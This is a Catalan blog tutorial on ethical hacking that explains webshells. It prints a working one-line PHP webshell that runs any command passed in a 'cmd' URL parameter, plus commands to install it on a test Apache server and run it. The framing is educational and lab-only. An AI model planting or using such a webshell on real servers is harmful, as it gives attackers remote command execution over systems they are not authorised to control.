Prengues el control remot: Explorant el Poder Ocult de les Webshells - Iespai
Hacking ètic

Prengues el control remot: Explorant el Poder Ocult de les Webshells



En el context del hacking ètic, una webshell és un script que un atacant puja a un servidor web compromès per obtenir control remot del servidor. Aquesta tècnica s’utilitza per realitzar tasques com l’execució de comandes del sistema, exfiltració de dades o com a punt d’entrada per a altres activitats malicioses. No obstant això, en el hacking ètic, s’utilitza per avaluar la seguretat del servidor i trobar vulnerabilitats abans que ho facin els atacants.

Què és una webshell?

Una webshell és bàsicament un script (escrit en llenguatges com PHP, ASP, JSP, etc.) que permet a l’usuari executar comandes en el servidor web. Aquests scripts poden ser tan simples com un formulari que permet l’execució de comandes de shell, o tan complexos com un panell d’administració complet.

Exemple de webshell en PHP

Un exemple bàsic d’una webshell en PHP seria:

<?php
if(isset($_REQUEST['cmd'])){
    echo '<pre>' . shell_exec($_REQUEST['cmd']) . '</pre>';
}
?>

Aquest script permet executar comandes del sistema operatiu directament des del navegador web en passar el paràmetre cmd a la URL.

Ús de webshells amb Kali Linux

Kali Linux és una distribució de Linux popular entre els professionals de la seguretat informàtica per les seves nombroses eines de pentesting. Aquí et deixo un exemple de com podríes utilitzar una webshell en un entorn de proves amb Kali Linux.

Pas 1: Preparar l’entorn

  1. Instal·lar un servidor web: Pots utilitzar Apache o qualsevol altre servidor web en el teu entorn de proves.
   sudo apt update
   sudo apt install apache2
  1. Habilitar PHP: Assegura’t de tenir PHP instal·lat i configurat al teu servidor.
   sudo apt install php libapache2-mod-php
   sudo systemctl restart apache2

Pas 2: Pujar la webshell

  1. Crear la webshell: Guarda l’script PHP d’exemple en un fitxer anomenat webshell.php.
   echo "<?php if(isset(\$_REQUEST['cmd'])){ echo '<pre>' . shell_exec(\$_REQUEST['cmd']) . '</pre>'; } ?>" > /var/www/html/webshell.php
  1. Configurar permisos: Assegura’t que el fitxer tingui els permisos adequats per ser executat pel servidor web.
   sudo chown www-data:www-data /var/www/html/webshell.php
   sudo chmod 644 /var/www/html/webshell.php

Pas 3: Executar comandes a través de la webshell

  1. Accedir a la webshell: Obre el teu navegador i accedeix a http://<IP-DEL-SERVIDOR>/webshell.php.
  2. Executar una comanda: A la barra d’adreces, pots afegir el paràmetre cmd per executar una comanda. Per exemple, per llistar els fitxers al directori arrel:
   http://<IP-DEL-SERVIDOR>/webshell.php?cmd=ls

Veuràs la sortida de la comanda ls directament al teu navegador.

Importància en el hacking ètic

En el hacking ètic, pujar i utilitzar una webshell permet al pentester identificar i explotar possibles vulnerabilitats en un entorn controlat. Això ajuda les organitzacions a:

  • Identificar punts febles: Determinar quines configuracions del servidor són vulnerables a l’execució remota de comandes.
  • Millorar la seguretat: Implementar mesures de seguretat per prevenir la pujada i execució d’scripts maliciosos, com configuracions adequades de permisos i filtres a les entrades d’usuaris.
  • Entrenar l’equip de seguretat: Simular atacs per preparar l’equip de seguretat de l’organització en la detecció i resposta a incidents.

Precaucions i ètica

És important recordar que l’ús de webshells fora d’un entorn autoritzat i controlat és il·legal i poc ètic. Sempre has d’obtenir el permís explícit del propietari del sistema abans de realitzar qualsevol tipus de prova de seguretat.

En resum, les webshells són eines poderoses dins l’arsenal d’un pentester ètic i, quan s’utilitzen correctament, poden ajudar a enfortir la seguretat dels sistemes i aplicacions web.

Oscar Lastera Sanchez

Entradas recientes

Por qué no debes aplicar cambios los viernes (ni justo antes de vacaciones, ni al terminar la jornada)

Lecciones reales para desarrolladores y mantenedores que quieren dormir tranquilos Introducción Los filósofos dicen que…

2 horas hace

🛡 Cómo solucioné el error de renovación con Certbot: «Invalid response from /.well-known/acme-challenge»

Durante la renovación de un certificado SSL con Certbot en un servidor Ubuntu con Apache,…

5 días hace

5 años de revolución digital: cómo la tecnología está redefiniendo nuestra sociedad

🌐 La evolución de la digitalización global: 2019-2024 En tan solo cinco años, el mundo…

6 días hace

Redefiniendo la Ética de las Máquinas: Asimov y Kant Frente a la Inteligencia Artificial

La ciencia ficción ha sido, a lo largo del tiempo, un campo fértil para la…

3 semanas hace

Di adéu a les notificacions! Assegura’t que els teus certificats TLS es renovin automàticament

Let's Encrypt ha estat una peça clau en la seguretat web en oferir certificats TLS…

3 semanas hace

Guía para Instalar una Máquina Virtual en VirtualBox y Configurar un Servidor LAMP

En esta guía te explicaremos paso a paso cómo instalar una máquina virtual en VirtualBox…

3 semanas hace

Esta web usa cookies.